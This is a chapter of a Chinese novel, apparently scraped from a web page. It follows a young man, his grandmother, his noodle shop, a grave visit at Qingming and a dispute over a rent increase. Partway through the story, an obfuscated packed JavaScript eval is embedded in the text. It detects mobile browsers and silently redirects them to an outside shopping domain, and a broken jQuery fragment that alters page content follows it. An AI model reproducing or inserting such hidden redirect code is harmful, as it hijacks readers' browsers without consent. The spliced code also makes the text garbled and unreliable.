三月的时候，奶奶在城里住习惯了。
她不再说“太大了”“不习惯”之类的话了。她知道小区门口哪家超市的鸡蛋便宜，知道哪条路去菜市场最近，知道楼下那个老太太姓什么、家里几口人、孙子考了多少分。她每天早上六点起来，去楼下散步，走得很慢，一圈一圈的，走到七点回来，给房寨做早饭。房寨说过好几次“你别做了，我来做”，她不听，说“你一天到晚那么忙，早上多睡一会儿”。房寨拗不过她，就随她了。
早饭很简单，粥、馒头、咸菜，偶尔加一个鸡蛋。粥是大米粥，熬得很稠，米油都熬出来了，喝起来很香。馒头是她自己蒸的，发面、揉面、上笼，每一步都不马虎。房寨问她手不疼吗，她说早就不疼了，做这点活不碍事。
房寨吃着奶奶做的早饭，想起小时候。那时候他每天早上去上学，奶奶也是这样给他做早饭，粥、馒头、咸菜，吃了十几年，从来没变过。现在他又吃到了这个味道，不是记忆里的味道，是真实的、热乎乎的、在舌尖上能尝到的味道。
奶奶来店里越来越勤了。一开始是一周来一次，后来一周来两三次，再后来几乎天天来。她坐在靠窗的位置上，喝茶，看人，偶尔跟客人聊几句。她认识了很多老客人，能叫出他们的名字，知道他们爱吃什么。有人问她“奶奶，你今年多大了”，她说“七十九，快八十了”。那人说“不像，看着像六十多”。奶奶笑了，笑得很开心。
小月放学后也来店里，和以前一样。她现在五年级了，作业多了，不像以前那样有时间画画了。但她还是每天来，坐在她的椅子上，写作业，吃面，跟奶奶聊天。奶奶和小月很投缘，两个人能聊很久。奶奶给小月讲房寨小时候的事，说他多调皮、多不听话、多爱吃她做的红烧肉。小月听得津津有味，眼睛亮亮的，像在听一个很远很远的故事。
“叔叔小时候也吃红烧肉？”小月问。
“吃，他最爱吃。”奶奶说，“一顿能吃大半碗。”
“他现在也爱吃。”
“是吗？那我还得给他做。”
小月笑了，奶奶也笑了。
三月的第二周，店里发生了一件小事。
一个年轻人在店里吃面的时候，手机响了。他接起来，听了一会儿，然后哭了。不是那种大声的哭，是那种默默的流泪，眼泪一颗一颗地往下掉，砸在碗里，把面的汤汁都冲淡了。店里的客人都在看他，有人想过去问，又怕唐突。
奶奶走过去，在他对面坐下来。
“孩子，怎么了？”
年轻人抬起头，看着奶奶，眼睛红红的。“我奶奶走了。”
奶奶愣了一下。
“我妈刚才打电话来说的。”年轻人用手背擦了擦眼泪，“我回不去了，我在外地，赶不回去了。”
奶奶没说话。她站起来，走到厨房门口，跟房寨说“做一碗阳春面”。房寨做了，奶奶端过去，放在年轻人面前。
“孩子，吃面。”
年轻人看着那碗面，又哭了。他拿起筷子，挑了一箸面，送进嘴里，嚼了嚼，又吃了一口。他吃得很慢，一口一口的，像在吃一种很珍贵的东西。
“好吃吗？”奶奶问。
“好吃。”年轻人说，“和我奶奶做的一个味道。”
奶奶点了点头，拍了拍他的肩膀，转身回去了。
年轻人把那碗面吃完了，汤也喝了。他站起来，走到奶奶面前，鞠了一躬。
“奶奶，谢谢你。”
“不客气。”奶奶说，“你奶奶会在天上看着你的。”
年轻人点了点头，走了。
晚上关店之后，房寨和奶奶一起回家。路上，奶奶忽然说了一句话。
“寨儿，我想回老家一趟。”
房寨愣了一下。“回去干什么？”
“给你爷爷上坟。清明快到了。”
房寨想了想，清明还有一个多星期。他本来打算自己回去上坟的，但奶奶想回去，那就一起回去。
“行，我陪你回去。”
奶奶点了点头，没再说话。
清明前一天，房寨带着奶奶回了老家。他请了两天假，让张建国帮忙盯着店。张建国说没问题，让他放心回去。
火车上，奶奶看着窗外。田野绿了，麦苗长出来了，一片一片的，像绿色的地毯。油菜花开了，金黄金黄的，在风里摇来摇去。奶奶看了很久，没说一句话。
到了县城，他们住了一晚。第二天一早坐大巴回镇上，再坐摩的回村里。马师傅还在，但换了新车，不是那辆用铁丝绑着排气管的旧车了。他戴着头盔，穿着冲锋衣，看起来很精神。
“房寨，你奶奶身体还好吧？”马师傅问。
“还行。”
“那就好。”马师傅发动车子，突突突的。
到了村口，奶奶下了车，站在那棵树下。树还是那棵树，但叶子多了，枝丫密了，比去年更茂盛了。风吹过来，树叶哗啦哗啦地响，像在说话。
奶奶站在树下，看了很久。
“走吧。”她说。
房寨扶着她，往村里走。村子还是那个村子，但人少了。很多房子锁着门，门口长了草。年轻人都出去了，老人也走了不少，剩下的都是走不动的。奶奶一边走一边看，看到熟悉的人就打招呼，那人说“你回来了”，奶奶说“回来了，回来给你爷爷上坟”。
到了家，门锁着，钥匙藏在门口的花盆底下。房寨找出钥匙开了门，屋里有一股霉味，好久没人住了。他把窗户打开，通风透气。奶奶坐在沙发上，看着四周。墙上的画还是那些画，桌上的灰还是那些灰。
“奶奶，你坐着，我收拾。”
房寨打了水，把桌子擦了，把地拖了，把床单换了。他忙了一个多小时，把屋子收拾干净了。奶奶看着干净了的屋子，说了一句“还是家里好”。
下午，他们去给爷爷上坟。
坟在村后面的山坡上，要走一段小路。路不好走，坑坑洼洼的，奶奶走得很慢，房寨扶着她，一步一步地走。路边的草长得很高，有的快有膝盖高了。奶奶一边走一边说“以前这条路好走的，现在没人走了，草都长起来了”。
到了坟前，房寨把带来的东西摆好。香、纸钱、水果、点心，还有一碗阳春面。他点了香，插在坟前，烧了纸钱。奶奶蹲下来，用手把坟头的草拔了，一把一把地拔，很慢，很用力。
“你爷爷最爱吃面。”奶奶说，“以前我每次做面，他都要吃两大碗。”
房寨没说话，站在旁边看着。
奶奶拔完草，站起来，看着坟头。坟头的土有些塌了，露出了下面的砖。房寨说回去拿铁锹来修一下，奶奶说不用，就这样吧，你爷爷不在乎这些。
他们在坟前站了一会儿。风吹过来，把纸钱的灰吹起来，飘在空中，像黑色的蝴蝶。
“老头子，我走了。”奶奶说，“明年再来看你。”
她转过身，房寨扶着她，慢慢往回走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639425|203000||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
第二天一早，他们回了城里。
火车上，奶奶又看着窗外。田野绿了，油菜花开了，一切都和来时一样。但奶奶的表情不一样了，来时是平静的，现在是轻松的，好像放下了什么东西。
“奶奶，你心情好了？”
“好了。”奶奶说，“跟你爷爷说了说话，就好了。”
房寨握着她的手，没说话。
四月的第一周，店里出了一件大事。
美食广场的物业通知，说下个月租金要涨百分之十。房寨算了一下，一万二的百分之十是一千二，涨到一万三千二。他去找物业经理谈，经理说这是公司定的，他也做不了主。房寨说那我搬走，经理说随你。
房寨把这件事跟张建国说了。张建国听完，沉默了一会儿。
“寨哥，你怎么想的？”
“我不知道。”
“你想搬吗？”
房寨想了想。搬走的话，要重新找地方，重新装修，重新积累客源，至少折腾一两个月。不搬的话，每月多交一千二，一年多交一万多。不是拿不出这个钱，但心里不舒服。
“我再想想。”他说。
他把这件事在群里说了一下。群里又炸了。
“又涨？去年不是涨过了吗？”
“寨哥儿你别搬，你搬走了我们上哪吃去？”
“要不我们众筹给你付房租？”
“对，众筹！一人出一点，寨哥儿就不用搬了。”
房寨看着这些消息，心里很暖，但他不会要大家的钱。他的店，他的房租，凭什么让别人来付？
晚上，他跟奶奶说了这件事。奶奶正在织毛衣，手很慢，一针一针的，毛线是蓝色的，说是给他织的。
“奶奶，物业要涨房租。”
“涨多少？”
“一千二。”
奶奶的手停了一下。
“寨儿，你还记得你爷爷吗？”
“记得。”
“你爷爷年轻的时候，是个木匠。手艺很好，方圆几十里的人都找他做家具。”奶奶说，“后来镇上开了个家具厂，机器做的家具又便宜又快，没人找他做了。有人劝他去厂里上班，他不去。”
“我记得你说过。”
“你知道他为什么不去吗？”
房寨摇了摇头。
“他说，机器做的家具不是家具，是木头。人做的家具才是家具，有温度。”奶奶放下毛衣，看着房寨，“你的店也是。你做的饭，是你做的，不是机器做的。你去哪，客人就去哪。不是因为你的店在哪个位置，是因为你这个人在这里。”
房寨看着奶奶，喉咙很紧。
“奶奶，我懂了。”
第二天，房寨去找了物业经理。
“经理，我不搬，但也不涨。合同签了一年，白纸黑字写的，你不能说涨就涨。”
经理看着他，没说话。
“你要是非涨不可，那我们就按合同办。合同到期我搬走，你重新找租客。但合同期内，一分钱我都不多交。”
经理沉默了一会儿。
“我跟公司汇报一下。”
两天后，经理给他打了电话。说公司同意不涨了，合同期内维持原价。房寨挂了电话，站在店门口，看着来来往往的人。阳光很好，照在招牌上，“寨哥儿”三个字歪歪扭扭的，但很亮。
他转过身，回了厨房。
灶火很旺，锅里的油热了，菜倒进去，刺啦一声，香味炸开。